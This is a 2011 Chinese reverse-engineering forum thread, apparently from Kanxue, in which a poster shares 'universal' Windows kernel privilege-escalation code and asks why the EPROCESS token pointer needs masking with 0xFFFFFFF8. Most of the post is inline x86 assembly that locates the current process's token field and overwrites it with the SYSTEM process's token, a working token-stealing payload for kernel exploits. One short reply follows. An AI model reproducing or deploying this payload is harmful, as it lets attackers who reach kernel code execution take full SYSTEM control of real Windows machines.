首页
社区
课程
招聘
[讨论]放个简单通用提权代码,无版本限制,另请教个问题
发表于: 2011-4-22 16:44 4713

[讨论]放个简单通用提权代码,无版本限制,另请教个问题

2011-4-22 16:44
4713
_declspec(naked) void ElevatePrivilage()
{
	_asm
	{
		nop
		nop
		nop
		nop
		int 3
		pushfd
		pushad

		mov esi,PsGetCurrentProcess
		call esi
		mov ebx,eax //获得EPROCESS指针
		push ebx

		push eax
		mov esi,PsReferencePrimaryToken
		call esi
		mov edx,eax //token指针
		and edx,0xFFFFFFF8		
		//在EPROCESS结构体中搜索TOKEN指针,确定偏移
		pop ebx
		mov ecx,0
		mov esi,ebx
_next:
		mov eax,[esi+ecx]
		and eax,0xFFFFFFF8
		cmp eax,edx
		jz  _find
		add ecx,4
		jmp _next
_find:
		push ebx
		push ecx

		mov eax,PsInitialSystemProcess
		push [eax]
		mov esi,PsReferencePrimaryToken
		call esi

		pop ecx
		pop ebx

		mov [ebx+ecx],eax

		popad
		popfd

		retn 8
	}
}

PsReferencePrimaryToken返回的Token,与EPROCESS->Token,两者并不完全相等,有几个字节的偏差,需要将两者& 0xfffffff8才能一致.

反汇编PsReferencePrimaryToken,看到它获取token指针值的时候,是做了and eax,hfffffff8处理的,处理后的值, dt _TOCKEN 是完整.
如果只用EPROCESS->Token的值,不做& 0xfffffff8处理,dt _TOCKEN就乱了.

暂时没弄明白为什么EPROCESS->Token存的指针与正确的值有0~7个字节的偏移

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
提取什么的啊!!
2011-4-22 17:50
0
游客
登录 | 注册 方可回帖
返回
//